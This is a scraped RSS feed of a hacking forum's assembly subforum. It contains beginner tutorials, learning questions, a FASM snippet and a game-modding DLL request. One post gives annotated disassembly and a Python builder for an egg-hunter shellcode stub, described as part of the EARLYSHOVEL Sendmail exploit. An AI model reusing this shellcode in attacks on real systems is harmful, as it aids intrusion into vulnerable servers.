<![CDATA[Sinisterly - Assembly]]>

<![CDATA[Sinisterly - Assembly]]> https://sinister.ly/ Mon, 17 Aug 2026 12:39:19 +0000 MyBB <![CDATA[whats the best way to learn x86_64 assembly?]]> https://sinister.ly/Thread-whats-the-best-way-to-learn-x86-64-assembly Mon, 20 Jan 2025 03:12:08 +0000 timmypeachstatistic]]> https://sinister.ly/Thread-whats-the-best-way-to-learn-x86-64-assembly <![CDATA[A Help with a file]]> https://sinister.ly/Thread-A-Help-with-a-file Tue, 16 Jan 2024 02:44:36 +0000 BN_LOS]]> https://sinister.ly/Thread-A-Help-with-a-file
what i want exactly is to replace the dll from calling dinput8.dll and call winmm.dll instead to use both dinput8 and this one its qingsheng dll for those who knows resident evil 4 files and modding i wanna make it work with re4 tweaks and dinput8 by raz0r thanks in advance

the file is X3DAudio1_7.dll

gofile.io/d/bsq1Uv]]>
what i want exactly is to replace the dll from calling dinput8.dll and call winmm.dll instead to use both dinput8 and this one its qingsheng dll for those who knows resident evil 4 files and modding i wanna make it work with re4 tweaks and dinput8 by raz0r thanks in advance

the file is X3DAudio1_7.dll

gofile.io/d/bsq1Uv]]> <![CDATA[Unlocking the Mysteries of Assembly Language: A Thread 🛠️💻]]> https://sinister.ly/Thread-Unlocking-the-Mysteries-of-Assembly-Language-A-Thread-%F0%9F%9B%A0%EF%B8%8F%F0%9F%92%BB Tue, 19 Dec 2023 15:59:46 +0000 plol8199]]> https://sinister.ly/Thread-Unlocking-the-Mysteries-of-Assembly-Language-A-Thread-%F0%9F%9B%A0%EF%B8%8F%F0%9F%92%BB Assembly is a low-level programming language that's closely tied to a computer's architecture. Unlike high-level languages, Assembly provides a direct interface to a computer's hardware, allowing for unparalleled control and optimization.

2️⃣ The Beauty of Simplicity and Complexity
Assembly is both simple and complex. On one hand, it uses mnemonics and symbols that are human-readable, making it approachable. On the other, it's deeply connected to the hardware, requiring a solid understanding of computer architecture.

3️⃣ The Power of Control
One of the biggest advantages of Assembly is the fine-grained control it offers. Each line of code corresponds to a specific machine instruction, making it ideal for tasks that demand efficiency and direct manipulation of hardware resources.

4️⃣ Challenges and Rewards
Working with Assembly can be challenging, but the rewards are immense. It's like speaking the language of the machine, understanding how your code directly impacts the processor's behavior.

5️⃣ Real-World Applications
While Assembly might not be the go-to language for everyday programming, it plays a crucial role in certain domains. Embedded systems, device drivers, and performance-critical applications often rely on Assembly for maximum efficiency.

6️⃣ Learning Resources
Share your favorite Assembly resources! Whether it's online tutorials, books, or coding challenges, let's build a treasure trove of knowledge for those diving into the world of Assembly.

7️⃣ Assembly in the Modern Era
Despite the rise of high-level languages, Assembly remains relevant. Modern compilers often generate Assembly code as an intermediate step, and understanding Assembly can give you a deeper insight into how your code interacts with the hardware.

8️⃣ Your Assembly Adventures
Have you dabbled in Assembly programming? Share your experiences, challenges, and triumphs! Let's inspire and learn from each other.]]> Assembly is a low-level programming language that's closely tied to a computer's architecture. Unlike high-level languages, Assembly provides a direct interface to a computer's hardware, allowing for unparalleled control and optimization.

2️⃣ The Beauty of Simplicity and Complexity
Assembly is both simple and complex. On one hand, it uses mnemonics and symbols that are human-readable, making it approachable. On the other, it's deeply connected to the hardware, requiring a solid understanding of computer architecture.

3️⃣ The Power of Control
One of the biggest advantages of Assembly is the fine-grained control it offers. Each line of code corresponds to a specific machine instruction, making it ideal for tasks that demand efficiency and direct manipulation of hardware resources.

4️⃣ Challenges and Rewards
Working with Assembly can be challenging, but the rewards are immense. It's like speaking the language of the machine, understanding how your code directly impacts the processor's behavior.

5️⃣ Real-World Applications
While Assembly might not be the go-to language for everyday programming, it plays a crucial role in certain domains. Embedded systems, device drivers, and performance-critical applications often rely on Assembly for maximum efficiency.

6️⃣ Learning Resources
Share your favorite Assembly resources! Whether it's online tutorials, books, or coding challenges, let's build a treasure trove of knowledge for those diving into the world of Assembly.

7️⃣ Assembly in the Modern Era
Despite the rise of high-level languages, Assembly remains relevant. Modern compilers often generate Assembly code as an intermediate step, and understanding Assembly can give you a deeper insight into how your code interacts with the hardware.

8️⃣ Your Assembly Adventures
Have you dabbled in Assembly programming? Share your experiences, challenges, and triumphs! Let's inspire and learn from each other.]]> <![CDATA[I need to decompile C# source code]]> https://sinister.ly/Thread-Leak-I-need-to-decompile-C-source-code Thu, 14 Dec 2023 00:41:03 +0000 buihabompei]]> https://sinister.ly/Thread-Leak-I-need-to-decompile-C-source-code <![CDATA[hello]]> https://sinister.ly/Thread-hello--207840 Sun, 10 Dec 2023 02:59:58 +0000 minecraft4ever1]]> https://sinister.ly/Thread-hello--207840 <![CDATA[Assembler in games]]> https://sinister.ly/Thread-Assembler-in-games Sat, 07 Oct 2023 22:59:13 +0000 vekm]]> https://sinister.ly/Thread-Assembler-in-games Games for †ru3 h4ck3rs Cool

My favourite - EXAPUNKS.

Quote:READ ZINES - Learn to hack from TRASH WORLD NEWS, the underground computer magazine. Tutorials, hacking tips, secret information.
WRITE VIRUSES - Program your EXAs (EXecution Agents) to tear through networks, replicate themselves, trash files, terminate other EXAs— and leave without a trace.
HACK EVERYTHING - Hack banks, universities, factories, TV stations, highway signs, game consoles, the government... oh yeah, and your own body.
TAKE DOWN YOUR FRIENDS - Compete with your friends by running your programs directly against theirs in all-out hacker battles. Make every cycle count.

[Image: ss_04f3ab44402750e4ffa859050d20a32b09e8c...1667071547]

]]> Games for †ru3 h4ck3rs Cool

My favourite - EXAPUNKS.

Quote:READ ZINES - Learn to hack from TRASH WORLD NEWS, the underground computer magazine. Tutorials, hacking tips, secret information.
WRITE VIRUSES - Program your EXAs (EXecution Agents) to tear through networks, replicate themselves, trash files, terminate other EXAs— and leave without a trace.
HACK EVERYTHING - Hack banks, universities, factories, TV stations, highway signs, game consoles, the government... oh yeah, and your own body.
TAKE DOWN YOUR FRIENDS - Compete with your friends by running your programs directly against theirs in all-out hacker battles. Make every cycle count.

]]> <![CDATA[Assembly - A Low-Level Look at Coding]]> https://sinister.ly/Thread-Assembly-A-Low-Level-Look-at-Coding Tue, 12 Sep 2023 14:41:47 +0000 qlonE3]]> https://sinister.ly/Thread-Assembly-A-Low-Level-Look-at-Coding
When it comes to coding, Assembly is about as low-level as you can get. It requires a deep understanding of computer hardware and can be a challenge to master. But, what are the benefits of using Assembly, and how can it be applied in today's world?

Let's discuss - what is Assembly, and what sets it apart from higher-level programming languages? What are some practical applications for Assembly, and what are some challenges associated with using it for software development? Share your experiences with Assembly - whether you're a seasoned programmer or just dipping your toes in - and let's explore this complex yet fascinating language together.]]>
When it comes to coding, Assembly is about as low-level as you can get. It requires a deep understanding of computer hardware and can be a challenge to master. But, what are the benefits of using Assembly, and how can it be applied in today's world?

Let's discuss - what is Assembly, and what sets it apart from higher-level programming languages? What are some practical applications for Assembly, and what are some challenges associated with using it for software development? Share your experiences with Assembly - whether you're a seasoned programmer or just dipping your toes in - and let's explore this complex yet fascinating language together.]]> <![CDATA[[FASM] Compare 2 strings]]> https://sinister.ly/Thread-FASM-Compare-2-strings--169511 Thu, 15 Sep 2022 15:14:50 +0000 Houston1337]]> https://sinister.ly/Thread-FASM-Compare-2-strings--169511 include 'win32ax.inc'

str1 db '1111111111',0
str2 db '1111111112',0

start:
stdcall CmpStr,str1,str2
test eax,eax
jz not_the_same
invoke MessageBox,0,'Both strings are alike!!','FASM',MB_OK
jmp exit
not_the_same:
invoke MessageBox,0,'Both strings are Wrong','FASM',MB_OK
exit:invoke ExitProcess,0

proc CmpStr uses esi edi ecx,str1,str2; returns 0 when strings are not the same.
cld
mov ecx,0ah
mov esi,[str1]
mov edi,[str2]
repe cmpsb
jnz @f
mov eax,-1
ret
@@:
xor eax]]> include 'win32ax.inc'

str1 db '1111111111',0
str2 db '1111111112',0

start:
stdcall CmpStr,str1,str2
test eax,eax
jz not_the_same
invoke MessageBox,0,'Both strings are alike!!','FASM',MB_OK
jmp exit
not_the_same:
invoke MessageBox,0,'Both strings are Wrong','FASM',MB_OK
exit:invoke ExitProcess,0

proc CmpStr uses esi edi ecx,str1,str2; returns 0 when strings are not the same.
cld
mov ecx,0ah
mov esi,[str1]
mov edi,[str2]
repe cmpsb
jnz @f
mov eax,-1
ret
@@:
xor eax]]> <![CDATA[EARLYSHOVEL disassembly (x86)]]> https://sinister.ly/Thread-EARLYSHOVEL-disassembly-x86 Sun, 03 Apr 2022 01:09:01 +0000 ConcernedCitizen]]> https://sinister.ly/Thread-EARLYSHOVEL-disassembly-x86 EARLYSHOVEL

What is it?
A RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The original Python and ASM should interest you

Code:
# https://gist.github.com/84a98b20a6c4186890f1520c5bd2caa0
# Disasembly D:

# 0000000000000000 EB1E                            JMP 0000000000000020
# 0000000000000002 59                              POP RCX
# 0000000000000003 51                              PUSH RCX
# 0000000000000004 FF31                            PUSH QWORD PTR [RCX]
# 0000000000000006 59                              POP RCX
# 0000000000000007 58                              POP RAX
# 0000000000000008 31DB                            XOR EBX,EBX
# 000000000000000A B304                            MOV BL,04
# 000000000000000C 01D8                            ADD EAX,EBX
# 000000000000000E F6DB                            NEG BL
# 0000000000000010 20D8                            AND AL,BL
# 0000000000000012 F6DB                            NEG BL
# 0000000000000014 01D8                            ADD EAX,EBX
# 0000000000000016 3B08                            CMP ECX,DWORD PTR [RAX]
# 0000000000000018 75FA                            JNE 0000000000000014
# 000000000000001A 01D8                            ADD EAX,EBX
# 000000000000001C 50                              PUSH RAX
# 000000000000001D 59                              POP RCX
# 000000000000001E FFE1                            JMP RCX
# 0000000000000020 E8DDFFFFFF                      CALL 0000000000000002
# 0000000000000025 51                              PUSH RCX
# 0000000000000026 51                              PUSH RCX
# 0000000000000027 51                              PUSH RCX
# 0000000000000028 51                              PUSH RCX

#!/usr/bin/python

spin = "\xeb\x1e"

start = "\x59\x51\xff\x31\x59\x58\x31\xdb\xb3\x04\x01\xd8\xf6\xdb\x20\xd8" "\xf6\xdb"

findit = "\x01\xd8\x3b\x08\x75\xfa"

found = "\x01\xd8\x50\x59\xff\xe1"

end = "\xe8\xdd\xff\xff\xff"

# marker
data = "\x51\x51\x51\x51"


def build():
    tmp = spin + start + findit + found + end + data
    return tmp

More to follow..]]> EARLYSHOVEL

What is it?
A RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The original Python and ASM should interest you

Code:
# https://gist.github.com/84a98b20a6c4186890f1520c5bd2caa0
# Disasembly D:

# 0000000000000000 EB1E                            JMP 0000000000000020
# 0000000000000002 59                              POP RCX
# 0000000000000003 51                              PUSH RCX
# 0000000000000004 FF31                            PUSH QWORD PTR [RCX]
# 0000000000000006 59                              POP RCX
# 0000000000000007 58                              POP RAX
# 0000000000000008 31DB                            XOR EBX,EBX
# 000000000000000A B304                            MOV BL,04
# 000000000000000C 01D8                            ADD EAX,EBX
# 000000000000000E F6DB                            NEG BL
# 0000000000000010 20D8                            AND AL,BL
# 0000000000000012 F6DB                            NEG BL
# 0000000000000014 01D8                            ADD EAX,EBX
# 0000000000000016 3B08                            CMP ECX,DWORD PTR [RAX]
# 0000000000000018 75FA                            JNE 0000000000000014
# 000000000000001A 01D8                            ADD EAX,EBX
# 000000000000001C 50                              PUSH RAX
# 000000000000001D 59                              POP RCX
# 000000000000001E FFE1                            JMP RCX
# 0000000000000020 E8DDFFFFFF                      CALL 0000000000000002
# 0000000000000025 51                              PUSH RCX
# 0000000000000026 51                              PUSH RCX
# 0000000000000027 51                              PUSH RCX
# 0000000000000028 51                              PUSH RCX

#!/usr/bin/python

spin = "\xeb\x1e"

start = "\x59\x51\xff\x31\x59\x58\x31\xdb\xb3\x04\x01\xd8\xf6\xdb\x20\xd8" "\xf6\xdb"

findit = "\x01\xd8\x3b\x08\x75\xfa"

found = "\x01\xd8\x50\x59\xff\xe1"

end = "\xe8\xdd\xff\xff\xff"

# marker
data = "\x51\x51\x51\x51"


def build():
    tmp = spin + start + findit + found + end + data
    return tmp

More to follow..]]> <![CDATA[Help with reverse engineering a code]]> https://sinister.ly/Thread-Gold-Help-with-reverse-engineering-a-code Wed, 16 Mar 2022 18:27:37 +0000 fire]]> https://sinister.ly/Thread-Gold-Help-with-reverse-engineering-a-code
Could anyone here help me out?

Shoot me a dm and I'll send the file over]]>
Could anyone here help me out?

Shoot me a dm and I'll send the file over]]> <![CDATA[[Release] Great Resources To Learn Reverse Engineering]]> https://sinister.ly/Thread-Release-Great-Resources-To-Learn-Reverse-Engineering Thu, 19 Sep 2019 22:52:48 +0000 Confidential]]> https://sinister.ly/Thread-Release-Great-Resources-To-Learn-Reverse-Engineering
Resource(s)]]>
Resource(s)]]> <![CDATA[So you want to learn assembly ( Part 1 )]]> https://sinister.ly/Thread-Tutorial-So-you-want-to-learn-assembly-Part-1 Sun, 04 Nov 2018 13:03:01 +0000 Cr3aTor]]> https://sinister.ly/Thread-Tutorial-So-you-want-to-learn-assembly-Part-1 -=-=-=={ Introduction }==-=-=-
Greetings all, today I will be talking about assembly: what it is, how to use it and some external resources to learn more. I hope this will help the newcomers to get a feeling about it and know where to look for in the future.

Disclaimer: I'm by no means an expert in assembly, thus all I'm going to present it's based on self-research and experience along the years. Therefore, any productive criticism is welcomed.

-=-=-=={ You need to know this in order to continue }==-=-=-

The CPU
========

The CPU is one of the most important components that computers have. Thus, understanding how it works and how it communicates with other components it's an essential part in order to learn assembly. So let's have a look at what is composed of:

A set of registers
An Arithmetic-Logic Unit (ALU)
Some control logic.

1. Registers
Let's start by looking first at the registers.
Registers are just a small piece of memory inside the CPU that are used to quickly accept, store, and transfer data. Because they are so close to the CPU, they are super fast at doing their job. There are different types of registers as well, that indicate different things. For example the RSP and RBP are some of those for the 64bit architecture:

RBP point to the base of the current stack frame
RSP point to the top of the current stack frame

They can be numbered starting from 0 like the memory or they can be named.
Don't bother to much for now with what they're doing and how to use them, I will explain it more later. For now, just remember that registers are a small piece of memory inside the CPU that helps it to execute, store and transfer data.

2. The ALU
The Arithmetic-Logic Unit is basically just performing arithmetic and logic operations. It can add, subtract, multiply, divide, xor, and, or, etc. That's pretty much what a computer does most of the time.
The ALU performs those operations with the values stored in the registers or values taken from memory. For storing them it uses the registers or it stores the values in a memory address. The available options actually depends on the processor. Yeah, that was pretty much it for the ALU.

3. The Control Unit
The last part of the CPU that we are interested in is the Control Unit. The Control Unit is anything else inside the processor except the registers and the ALU (branch prediction unit, cache management, bus signaling, pipeline management, etc). However, it has some functionality that we are interested in and that's pretty mandatory.
One of those being to control the CPU external interface. In other words, the state of all those little pins that go out of the CPU chip. Using these pins, the processor can talk to the memory to read and write values and can also interface to different types of hardware…

Basically when the ALU needs some data from memory for performing an operation, it asks the control unit to activate the right pins on the processor to command the memory chip to read or write a given memory position. To better visualize this I found this picture on the internet that might help:

[Image: machine-cycle.jpg]

Here are some other functions of the Control Unit:

Regulate transfers of information between memory and I/O.
Fetches and decodes instructions from microprograms.
Responsible for correct instruction execution between a processor's many sub-units.
Control unit converts received information into sequence of control signals, and transfer to computer processor.
It controls data flow inside the computer processor.

-=-=-=={ Machine Code }==-=-=-

Machine code is binary (1's and 0's) code that can be executed directly by the CPU. If you were to open a machine code file in a text editor you would see garbage, including unprintable characters.
So in the old days, some tech savys thought of a way to be easier for us, humans, to understand and write machine code. Therefore assembly was created. You can think of it as a mapping between 0's and 1's to words.
However, keep in mind that the CPU doesn't understand assembly, thus we write assembly code and with the help of an assembler or a compiler, we convert the assembly to machine code.

-=-=-=={ A simple fictional processor }==-=-=-

Ok, now you should have a basic understanding of how processors work, so let's make a fictional one. We will call it from now on HAM-201.
Now, in order to proceed I need to step back for a little and start explaining what the Instruction Pointer ( IP ) is. This is a special register that indicates which memory address in the main memory contains the next instruction to run. Whenever the CPU executes an instruction, this register increments by one ( unless it's a jump/branch instruction ) therefore moving to the next address to execute.

Now let's take a look at the specifications for our processor:

We will have 3 registers: EBX, EBP and RIP, the last one being the instruction pointer.
The ALU can perform just a MUL --> multiplying 2 numbers
It will have an instruction MOV to assign values to registers

Now we need to define what instructions it can run. In our case, this will look something like this:

Code:
OPCODE        |  Assembly          | Description
--------------+--------------------+-------------------------------------------------------------------------
0xdd xx       | mov ebx,  xx       | Copies the value in xx into the ebp register
0xde xx       | mov ebp,  xx       | Copies the value in xx into the esp register
0x01 xx  yy   | mul  xx,  yy       | Multiplies the values of registers xx and yy and stores the result in the xx register.
0x90          | nop                | No operation, does nothing
0xFF          | halt               | Stops the CPU
---------------------------------------------------------------------------------------------------

As you can see we have 3 columns, the first one is containing the actual machine code, second one the assembly and the 3rd one is a short description.
Now let's go and build our first program ! Biggrin

-=-=-=={ Our first program }==-=-=-

Let's make a simple program that multiplies 2 numbers.

Code:
   Assembly    |  Machine Code   |
+--------------+-----------------+
 mov  ebx, 10   |  0xdd 0x0a
 mov  ebp,   4  |  0xde 0x04
 mul  ebp, ebx  |  0x01 0x0a 0x04
 halt           |  0xFF

So, our program requires 8 bytes of memory, thus our RIP is going to need to increment 7 times, because we start from 0.

-=-=-=={ Conclusion }==-=-=-

That's it folks, I hope you learned something new and that you enjoyed the time spent to read this. I will come back with more tutorials for assembly if you guys want it. As we go down the road, I might start discussing about more complex things. Don't forget to rep me if I helped you somehow, and look at the resources section to learn more about the topics covered today.
Thanks again for your time, cheers ! Biggrin

-=-=-=={ External Resources }==-=-=-
https://www.differencebetween.com/difference-between-x86-and-vs-x64/
https://stackoverflow.com/questions/36529449/why-are-rbp-and-rsp-called-general-purpose-registers
https://www.quora.com/What-is-register-Explain-the-types-of-registers?share=1
http://ecomputernotes.com/fundamental/input-output-and-memory/what-is-registers-function-performed-by-registers-types-of-registers
http://ecomputernotes.com/fundamental/introduction-to-computer/control-unit
https://www.techopedia.com/definition/8179/machine-code-mc]]> -=-=-=={ Introduction }==-=-=-
Greetings all, today I will be talking about assembly: what it is, how to use it and some external resources to learn more. I hope this will help the newcomers to get a feeling about it and know where to look for in the future.

Disclaimer: I'm by no means an expert in assembly, thus all I'm going to present it's based on self-research and experience along the years. Therefore, any productive criticism is welcomed.

-=-=-=={ You need to know this in order to continue }==-=-=-

The CPU
========

The CPU is one of the most important components that computers have. Thus, understanding how it works and how it communicates with other components it's an essential part in order to learn assembly. So let's have a look at what is composed of:

A set of registers
An Arithmetic-Logic Unit (ALU)
Some control logic.

RBP point to the base of the current stack frame
RSP point to the top of the current stack frame

Here are some other functions of the Control Unit:

Regulate transfers of information between memory and I/O.
Fetches and decodes instructions from microprograms.
Responsible for correct instruction execution between a processor's many sub-units.
Control unit converts received information into sequence of control signals, and transfer to computer processor.
It controls data flow inside the computer processor.

We will have 3 registers: EBX, EBP and RIP, the last one being the instruction pointer.
The ALU can perform just a MUL --> multiplying 2 numbers
It will have an instruction MOV to assign values to registers

Now we need to define what instructions it can run. In our case, this will look something like this:

Code:
OPCODE        |  Assembly          | Description
--------------+--------------------+-------------------------------------------------------------------------
0xdd xx       | mov ebx,  xx       | Copies the value in xx into the ebp register
0xde xx       | mov ebp,  xx       | Copies the value in xx into the esp register
0x01 xx  yy   | mul  xx,  yy       | Multiplies the values of registers xx and yy and stores the result in the xx register.
0x90          | nop                | No operation, does nothing
0xFF          | halt               | Stops the CPU
---------------------------------------------------------------------------------------------------

-=-=-=={ Our first program }==-=-=-

Let's make a simple program that multiplies 2 numbers.

Code:
   Assembly    |  Machine Code   |
+--------------+-----------------+
 mov  ebx, 10   |  0xdd 0x0a
 mov  ebp,   4  |  0xde 0x04
 mul  ebp, ebx  |  0x01 0x0a 0x04
 halt           |  0xFF

-=-=-=={ External Resources }==-=-=-
https://www.differencebetween.com/difference-between-x86-and-vs-x64/
https://stackoverflow.com/questions/36529449/why-are-rbp-and-rsp-called-general-purpose-registers
https://www.quora.com/What-is-register-Explain-the-types-of-registers?share=1
http://ecomputernotes.com/fundamental/input-output-and-memory/what-is-registers-function-performed-by-registers-types-of-registers
http://ecomputernotes.com/fundamental/introduction-to-computer/control-unit
https://www.techopedia.com/definition/8179/machine-code-mc]]> <![CDATA[CISC and RISC programming!]]> https://sinister.ly/Thread-CISC-and-RISC-programming Wed, 26 Sep 2018 19:53:36 +0000 darkninja1980]]> https://sinister.ly/Thread-CISC-and-RISC-programming <![CDATA[what is the best books too read on assembly language ?]]> https://sinister.ly/Thread-what-is-the-best-books-too-read-on-assembly-language Sat, 22 Sep 2018 22:11:17 +0000 darkninja1980]]> https://sinister.ly/Thread-what-is-the-best-books-too-read-on-assembly-language <![CDATA[Assembly Programming Tutorial]]> https://sinister.ly/Thread-Tutorial-Assembly-Programming-Tutorial Sat, 22 Sep 2018 09:20:26 +0000 darkninja1980]]> https://sinister.ly/Thread-Tutorial-Assembly-Programming-Tutorial https://hackr.io/tutorials/learn-assembly-language
https://www.tutorialspoint.com/assembly_.../index.htm]]> https://hackr.io/tutorials/learn-assembly-language
https://www.tutorialspoint.com/assembly_.../index.htm]]>